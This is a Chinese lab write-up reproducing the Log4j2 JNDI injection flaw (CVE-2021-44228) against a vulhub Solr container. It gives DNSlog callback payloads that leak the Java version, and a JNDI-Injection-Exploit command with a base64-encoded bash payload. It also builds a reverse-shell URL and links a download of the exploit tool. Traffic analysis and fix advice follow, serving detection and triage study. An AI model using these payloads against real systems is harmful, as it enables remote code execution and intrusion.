CVE-2021-44228 Apache Log4j2 远程代码执行漏洞复现

目录

0x01 声明:

0x02 简介:

0x03 漏洞概述:

0x04 影响版本:

0x05 环境搭建:

0x06 漏洞复现:

        构造Dnslog回显 payload:

        打开http://dnslog.cn/获取域名:

        Dnslog请求:

        EXP利用: 

0x07 流量分析:

        Dnslog流量特征:

        EXP流量特征: 

0x08 修复建议:


0x01 声明:

        仅供学习参考使用,请勿用作违法用途,否则后果自负。

        之所以复现这个漏洞,是因为在事件分析过程中存在大部分外带Dnslog回显的事件,确实不知道如何研判比较合适,所以做这个漏洞复现,了解下Dnslog回显的过程,方便后期研判分析。

0x02 简介:

        Apache Log4j2 是 Apache 软件基金会下的一个开源的基于 Java 的日志记录工具。Log4j2 是一个 Log4j 1.x 的重写,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。由于其优异的性能而被广泛的应用于各种常见的 Web 服务中。

0x03 漏洞概述:

        apache log4j通过定义每一条日志信息的级别能够更加细致地控制日志生成地过程,受影响地版本中纯在JNDI注入漏洞,导致日志在记录用户输入地数据时,触发了注入漏洞,该漏洞可导致远程代码执行,且利用条件低,影响范围广。

0x04 影响版本:

        Apache Log4j 2.x <= 2.14.1

        受影响组件:

                Spring-boot-strater-log4j2

                Apache Solr Apache Flink

                Apache Druid

0x05 环境搭建:

        Docker环境:
                 参考这篇文章(Docker&Docker-compose环境安装_Evan Kang的博客-CSDN博客)

        漏洞环境:
               1、下载vulhub(Vulhub环境压缩包_httpdCVE-2022-22963-网络安全文档类资源-CSDN文库)

       (https://github.com/vulhub/vulhub)

                2、进入vulhub/log4j/CVE-2021-44228环境

                3、启动docker环境

                4、访问系统

CVE-2021-44228 Apache Log4j2 远程代码执行漏洞复现_第1张图片

0x06 漏洞复现:

        构造Dnslog回显 payload:

        也有大佬在构造Dnslog回显 payload的时候使用的是${jndi:ldap://xxx.dnslog.cn}实际用处是一样的。

http://xxx:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.xxx.dnslog.cn}

${jndi:rmi://${sys:java.version}.xxx.dnslog.cn}

${jndi:ldap://${sys:java.version}.xxx.dnslog.cn}

        打开http://dnslog.cn/获取域名:

CVE-2021-44228 Apache Log4j2 远程代码执行漏洞复现_第2张图片

        Dnslog请求:

               1、web服务器回显内容:

CVE-2021-44228 Apache Log4j2 远程代码执行漏洞复现_第3张图片

                 2、Dnslog平台信息:CVE-2021-44228 Apache Log4j2 远程代码执行漏洞复现_第4张图片

        EXP利用: 

                1、下载:

链接:https://pan.baidu.com/s/17xwvrg_If6XBxHv-qG8wrA?pwd=djwg 
提取码:djwg

                2、使用:

        前期自己在Windows上使用exp,发现并没有给出能利用的POC,后来在Kali使用才提示,请大家复现时候,避坑!!

CVE-2021-44228 Apache Log4j2 远程代码执行漏洞复现_第5张图片

CVE-2021-44228 Apache Log4j2 远程代码执行漏洞复现_第6张图片

                3、命令:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,xxx}|{base64,-d}|bash" -A xxx

                4、利用第3步中得到的payload:

CVE-2021-44228 Apache Log4j2 远程代码执行漏洞复现_第7张图片

                5、 url拼接构造反弹shell的payload:

http://192.168.18.130:8983/solr/admin/cores?action=${jndi:xxx}

                6、Kali 起监听:

CVE-2021-44228 Apache Log4j2 远程代码执行漏洞复现_第8张图片

0x07 流量分析:

        Dnslog流量特征:

CVE-2021-44228 Apache Log4j2 远程代码执行漏洞复现_第9张图片

         从特征中可看出来,单从一个安全设备是无法确认Dnslog是否成功回显的,需要借助全流量设备查看DNS流量看被害主机于DNS是否有相关报文交互。(安全设备只会将请求的url留存下载,而后面的DNS数据包基本都不会捕获)CVE-2021-44228 Apache Log4j2 远程代码执行漏洞复现_第10张图片

        EXP流量特征: 

                1、客户端请求web服务:

CVE-2021-44228 Apache Log4j2 远程代码执行漏洞复现_第11张图片

                2、请求之后,被攻击主机立马回请求,中间机的payload中的地址和端口:

CVE-2021-44228 Apache Log4j2 远程代码执行漏洞复现_第12张图片

                 3、被攻击主机 先请求payload中的1389,然后请求了,中间机的8081的/ExecTemplateJDK8.class的url

CVE-2021-44228 Apache Log4j2 远程代码执行漏洞复现_第13张图片

                4、随后访问反弹shell的端口

CVE-2021-44228 Apache Log4j2 远程代码执行漏洞复现_第14张图片

0x08 修复建议:

        1、更新log4j至 rc2(https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2)

        2、升级受影响的应用及组件

你可能感兴趣的:(漏洞复现【Free】,安全,java,数据库)